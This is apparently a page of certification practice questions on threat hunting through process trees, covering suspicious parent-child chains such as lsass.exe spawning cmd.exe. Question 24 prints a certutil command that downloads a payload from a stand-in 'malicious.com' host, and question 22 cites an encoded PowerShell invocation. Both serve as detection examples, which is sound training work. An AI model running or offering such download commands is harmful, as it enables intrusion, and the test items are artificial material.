7.5 Investigate a Process Tree CCFH Practice Questions (Page 5)

Questions 21–24

1. 21expert · hard

   During a hunt, you find a process tree where 'svchost.exe' is the parent of 'regsvr32.exe', which then spawned 'rundll32.exe'. The command line for regsvr32.exe includes a URL to an external site. The host is a domain controller with no internet access except through a proxy. Which action is most appropriate?

   • AReboot the domain controller to clear the suspicious processes
   • BImmediately block the URL in the proxy and move on
   • CInvestigate further by correlating with network events to see if the URL was accessed
   • DTreat this as a false positive because svchost.exe is a legitimate parent for system processes
   Reveal Solution Discussion Select an answer first
2. 22foundation · easy

   Which of the following command-line arguments would be considered suspicious when seen in a process tree?

   • Anotepad.exe C:\Users\Public\notes.txt
   • Bpowershell.exe -enc <base64-encoded-string>
   • Ccmd.exe /c dir C:\Windows\System32
   • Dexplorer.exe /n
   Reveal Solution Discussion Select an answer first
4. 23application · medium

   In a process tree, you see that 'lsass.exe' is the parent of a process named 'cmd.exe'. This is highly unusual because lsass.exe is a system process that should not spawn child processes. What does this parent-child relationship most likely indicate?

   • AA legitimate system administration task
   • BA process injection attack where the attacker is running commands under the guise of lsass.exe
   • CA user accidentally launched cmd.exe from the Task Manager
   • DA misconfigured service that is using lsass.exe as a parent
   Reveal Solution Discussion Select an answer first
5. 24application · medium

   You are analyzing a process tree where 'explorer.exe' is the parent of 'wscript.exe', which then spawned 'cmd.exe' with the command line 'cmd.exe /c certutil -urlcache -split -f http://malicious.com/payload.exe C:\Users\Public\payload.exe'. What is the most effective way to determine if this is malicious?

   • ACheck the user's recent activity in the browser
   • BCorrelate with network events to see if the URL was accessed and what was downloaded
   • CLook for any files created by wscript.exe in the user's profile
   • DCheck the digital signature of wscript.exe
   Reveal Solution Discussion Select an answer first